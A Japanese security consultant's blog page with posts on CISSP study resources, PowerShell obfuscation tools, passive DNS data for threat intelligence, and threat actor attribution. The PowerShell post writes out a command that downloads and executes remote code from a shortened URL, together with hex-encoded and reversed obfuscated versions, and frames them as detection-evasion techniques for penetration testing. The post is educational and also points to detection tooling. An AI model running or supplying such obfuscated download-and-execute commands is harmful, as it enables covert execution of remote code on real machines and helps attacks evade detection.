セキュリティコンサルタントの日誌から

セキュリティに関するエッセイなど

CISSPの勉強方法

CISSP(Certified Information Systems Security Professional)という試験は、セキュリティの経験と全般的な知識を持っていることを示す資格です。一般的かつセキュリティと重要な資格である一方、独学用の勉強リソースはあまり多くないと言わざるを得ません。また、CISSPのセミナーはかなり高額であるため、あまり気軽に参加できるものではありません。

ふと知り合いに聞かれたので、自分の経験を踏まえ変えてみたいと思います。

Shon Harrisシリーズ

個人的にはShon Harris女史の著作をお勧めしています。米国滞在時でもかなりバイブル的な存在として名前が挙がる著作でした。私は、問題集のほうを中心にやりましたが、教科書もかなり良い出来だと思います。 

CISSP All-in-One Exam Guide, Seventh Edition

CISSP All-in-One Exam Guide, Seventh Edition

 
CISSP Practice Exams, Fourth Edition

CISSP Practice Exams, Fourth Edition

 

 ただ、最大の欠点は著者のShon Harrisが既にお亡くなりになっていることです。もちろん彼女の意思を引き継いで今後も更新版が出ると思いますが、資料が少ない中体系的な著作を作り出した著者の不在は大きな意味があるかも知れません。

Shon Harris - Wikipedia

その他の著作

ほかの著作は使ったことがないのでわかりませんが、他の人のブログを見て以下の著作はよいのではないかと思いました。

www.itsecad-blog.com

 

このガイドを見ると、著者がSANSで有名なEric Conradなどが著者を務めていることです。SANSの講師は教え方がわかりやすいことで有名ですし、その名に恥じぬ著書になっているのではないかと期待しています。

CISSP Study Guide

CISSP Study Guide

 

オンライン・コース

オンラインコースも勉強する上ではひとつの手段だと思います。最近では、LinkedInやUdemyなどでも提供されています。動画で勉強したいという方にはこちらも試してみてはいかがでしょうか。(受けたことがないので、質は定かではないですが。)

最後に

海外では、CISSPホルダーは、セキュリティの全般的知識を持っていることを示す免許のような役割を持っていると感じるシーンも多くありましたので、ぜひ興味がある方は取得されることをお勧めします。

PowerShellの難読化について

PowerShellは、Post-Exploitationプロセスで非常に良く使われます。例えば、以下のコマンドを実行するとリモートにあるファイルを取得してその内容を実行してくれます。

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t") 

PowerShellの難読化技法については様々な研究がされており、いくつかツールが存在します。今回はそれを紹介します。

Invoke-Obfuscation

Invoke-Obfuscationは、任意のPowerShellコマンドを難読化してくれるツールです。

github.com

GitHubに記載されている通り、インストールします。

起動すると以下のような画面になります。

f:id:security_consultant:20171113221627p:plain

 

Tutorialコマンドをたたくと以下のように使い方を教えてくれます。

f:id:security_consultant:20171113221703p:plain

以下に、簡単な使い方を記載します。

SET SCRIPTBLOCK (PowerShell)

SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

その後、オプションを選択すると自動的に暗号化されます。

f:id:security_consultant:20171113222243p:plain

例えば、[ ENCODING ] - [2] (Hex)を選ぶと以下のような出力になります。

(修正前)

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

(修正後)

IeX(('49J6em76Y6fm6bT65Y2d%45m78m70!72%65T73;73!69m6fm6eJ2
0Y28%4eT65J77T2d;4f!62p6aT65Y63!74%20!4ep65p74J2ep57p65Y62!
43!6c;69J65m6e%74;29Y2em44T6f!77p6eT6cJ6fm61;64J53T74!72m69
%6e;67p28%22T68T74m74%70Y3am2fY2fY62;69%74Y2eY6c%79%2f;
4c;33J67%31%74Y22Y29' -sPlIT 'p'-spliT 'm'-SPlIT';' -SpLit '%' -SPliT'T'
-SplIt'!' -spLiT'J'-SpLIT'Y'|%{ ([cONvErT]::TOInT16(( [sTRINg]$_), 16 ) -
AS [chAr])})-JoiN'')

 

ほかにも、[ STRING ] - [3] (Reverse)を選ぶと以下のような出力になります。

(修正前)

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://bit.ly/L3g1t")

(修正後)

Set-VAriAble khB6 (" )''nIOj-'x'+]3,1[)(gnIrTSot.ecNerEFerpeSobreV$ (.| )
63]rAHCgnIrTs[,)56]rAHC[+58]rAHC[+401]rAHC[((ecaLPEr.)'|','rAE'(ecaL
PEr.)93]rAHC
gnIrTs[,)55]rAHC[+001]rAHC[+65]rAHC[((ecaLPEr.)')7d87d
8NioJ-)}'+')]rAhc'+'['+' SA'+'- ) 61'+' ,)'+'_AU'+'h'+']gNIRT'+'s'+'[ (('+'61TnIO
T:'+':]TrEvNOc[( {%rAE7d'+'8Y7d8TIL'+'pS-7d8J'+'7d8'+'T'+'iLp'+'s- 7d8!7
d8tIlpS- 7d8T7'+'d8TilPS- 7d8%7'+'d8 '+'ti'+'LpS- 7'+'d'+'8;7d8'+'T'+'IlPS-
'+'7'+'d8'+'m'+'7d8 '+'Til'+'p'+'s-'+'7d8p7d8 TI'+'lPs- 7d'+'89'+'2Y'+'2'+'2'+'
Y47'+'%13%76J33;'+'c4;f'+'2%97%c6Ye'+'2'+'Y47%96;'+'2'+'6Yf2Yf2'+'ma
'+'3'+'Y07%47'+'m47T8'+'6'+'T22%82p76;e'+'6%96'+'m'+'2'+'7'+'!47'+'T35J
46;16mf6J'+'c6'+'T'+'e6p77!'+'f6T4'+'4me'+'2Y92;47%'+'e6m56J96;c6'+'!34
'+'!26Y56p75p'+'e2J4'+'7p'+'56pe4'+'!02%47'+'!'+'36Y56Ta6'+'p26!f4;d'+'2
T77J5'+'6Te'+'4%82Y'+'02Je6mf6m96!37'+';'+'37T5'+'6%2'+'7!07m87m54
%d2Y56Tb6mf6'+'Y67me6J947d8 ((XeI '( " ) ; [StrInG]::JOIN( '' , ( cHiLDit
EM vaRIablE:Khb6 ).valUe[-1 ..- ( ( cHiLDitEM vaRIablE:Khb6 ).valUe.len
GTH)])| &( $sHEllId[1]+$shELLid[13]+'X')

 

さらに、TEST / EXECというコマンドを打てばローカルで実行実験ができたりと非常に面白いツールです。

資料は、以下にあります。(PDF)

www.youtube.com

Invoke-CradleCrafter

Invoke-CradleCrafterは、リモートからダウンロードする際の形式の難読化に特化したツールです。使い方は同じですが、目的が特化されている分難読化の手法が増えている野で、ダウンロードする際にはコチラを利用したほうが良いかも知れません。

github.com

難読化の検知

上記のツールを作っているDaniel Bohannon氏ですが、もともとはRed Teamの検証およびBlue Teamの検証用が目的としています。その後、彼はRevoke-Obfuscationという検知用用ツールも開発しています。(Revoke-Obfuscation @ BlackHat)

github.com

最後に

ペネトレーションテストを実施する際には、検知をどのようにかいくぐるEvasion Techniqueが重要になります。ペネトレーションテストのプロセスを高度化する意味でも、本ツールを活用することを推奨します。

Cyber Threat IntelligenceとDNSデータ

Cyber Threat IntelligenceやThreat Actor Attributionの観点では、悪性ドメイン(C2ドメイン)は足が速い(すぐに変わる)のでDNSデータ分析は重要な要素となります。

例えば、マルウェア解析チームにより特定のC2通信を発生させていたと報告してきたとします。その際に、そのDNSの接続先はどこなのか、そのC2ドメインを設定した人物は誰なのか、その攻撃者の意図を分析するThreat Actor Attributionなどでも、DNS情報の分析は行います。今回は、そのThreat Intelligenceの観点から見るDNSデータについて解説します。

Active vs. Passive

Cyber Threat Intelligenceの観点では、DNS情報としては、現在最新のデータより、過去のデータに価値があります。なぜなら、インシデント分析をしているときには悪用されていたドメインは既に捨てられていたり、内容が変わっているためです。

その観点から、DNSデータはActiveとPassiveの二種類のデータ収集方法があります。

Active DNS Data

Active DNS Dataとは、DNSデータをクローリングしてDNSデータの変更を全て蓄積しておき、特定ドメインにおけるIPアドレスとの連関性の履歴や登録者情報を蓄積していく方法です。これを自分でやることは難しく、一般的には専門のサービスを使うことになります。一番良く知られているのはDomain Toolsと呼ばれるサービスでこの分野では一般的です。彼らは、数多くのDNSデータを蓄積しており、ちょっとした変更も全て履歴として蓄積されており、過去の時点でどんな登録者情報でどんなIPと紐付いていたかなどその仔細を明らかにしてくれます。

Passive DNS Data

Passive DNSとは、Cyber Threat Intelligenceの文脈でよく聞く単語です。一言でいえば、DNS名前解決の履歴を蓄積したデータセットのことです。これは、自社で蓄積することもできますし、自社で蓄積すればどんな通信が行われていたか把握することができます。実際、Cyber Threat Intelligenceのプラットフォームで有名なThreatConnect社のResearch Operation DirectorのToni Gidwani女史は、このツールのことを「インフラストラクチャ全体を過去にさかのぼって見渡すことができるため、研究者にとっては非常に強力なツールだ*1」と評しています。

ちなみに、Passive DNSデータを提供している企業もあり、一例としてFarsight Security社のDNSDBが挙げられます。ただ使い方としては先ほど紹介したDomain Toolsに似た使い方になるのではないかと思います。

 

ちなみに、Passive DNSについて詳しく知りたい場合はこの辺の資料が参考になると思います。

まとめ

Cyber Threat Intelligenceの観点では、過去のDNSデータは非常に重要となります。Passive DNSについてはきちんと蓄積しておくと、色々と分析も捗りそうという印象を受けます。

ちなみに、CTIの文脈でたまに聞くこのサービスでCymonというのがありますが、事後検証のためメモしておきます。

cymon.io

*1:This is a really powerful tool for researchers because it gives you the ability to take a retrospective look at what is happening across infrastructure.

Threat Actor Attributionとは何か?

Threat Actor Attributionという単語をきいたことはありますでしょうか?

今回は、Cyber Threat Intelligenceの分野で重要なThreat Actor Attributionについて、以下の講演をもとに勉強してみたいと思います。

www.youtube.com

Threat Actor Attributionとは?

Threat Actor Attributionは、孫子の引用で説明されます。

彼を知り己を知れば、百戦して危うからず

攻撃者グループも人の集合であるため、グループごとのアイデンティティ・動機・犯罪の手口(modus operandi)などがあるという前提が存在します。攻撃を受けた際、その特徴を特定して、捜査機関の連携や次なる攻撃を防ぐために活用しようという技術です。

攻撃者の動向・攻撃の背景を押させることが次の攻撃を防ぐ重要な手段になりますし、それらをISAC(Information Sharing and Analysis Center)という組織に連携するなど、その活用は様々です。特に、Nation-State Sponsored Hackerが攻撃をしてくるであろう金融・インフラ・軍事産業などでは非常に重要に注目される技術です。

また、攻撃者の分析をすることで攻撃の意図、目的を知り、影響範囲を推定する上でも非常に重要な技術だと考えられます。

Hacker Tells

David Sassemanというポーカー選手の格言を引用して、ハッカーから得られる情報(Hacker Tells)について整理しています。

www.pokerology.com

動画では、いくつか指摘されており、筆者独自にまとめてみました。

  • 攻撃パターン:攻撃者の行動パターンからの推測
    • 攻撃の時間帯・利用する攻撃の種類(Web攻撃・マルウェアの特徴)
  • メタデータ:収集データのメタデータからの推測
    • 攻撃に使われた文言・特定の文字列・言語・メタデータ・ファイル命名則。
    • マルウェアなどは攻撃者が自身の情報をさらしていることと同値なので多数の情報が得られるため入念に分析することが望ましいとされています。
  • 攻撃者リソース:攻撃者の利用するリソースを調査
    • 攻撃環境(Exploit Kitの種類、攻撃インフラの特徴、XaaS*1の利用状況・環境の成熟度))
    • 攻撃者の保有リソース(ドメイン・IP・メール・フリードメイン)

事例分析

動画の事例では、攻撃に使われたツールを収集して、攻撃者の特徴となるハンドル名・メールアドレスを発見、Maltagoを利用して可視化分析、その後整理されたドメイン情報を元にいくつかの分析ツールを使って情報を洗い出す方法を採用していました。

動画の中で使われていたツールは以下の通り。

  • Central Ops:ネットワークコマンドのオンライン版
  • Domain Tools:ドメイン・IPに関する情報を一斉に引っ張りだせるツール
  • Passive DNS:過去のWHOIS情報を見れるツール(参考
  • CLEAR:Thomson Reutersが提供するバックグラウンドチェックツール
  • Accurint:LexisNexisが提供するバックグラウンドチェックツール
  • Spokeo:CLEAR・Accurientの廉価版

まとめ

このように見てみると、技術的に新しいことはなく基本的にはOSINT技術・IRで使うマルウェアやログ分析技術が中心です。この方向性を攻撃者の特定に使うのがThreat Actor Attributionだといえます。

別の具体事例を知りたい方は、過去ShmooConで参加したときに面白い講演があったのでそちらを参照されることをお勧めします。

www.scientia-security.org

 但し、注意も必要だと思われます。以前の記事も書きましたが、Attributionに対応する技術も存在します。また、 民間企業にとってみれば、Attribution技術で対象を探し出しても意味がないという議論もあります。その辺の限界も含まれて利用することが必要だと考えられます。

www.scientia-security.org

*1:Ransomware as a Service、Malware as a Service、Phishing as a Serviceなどがある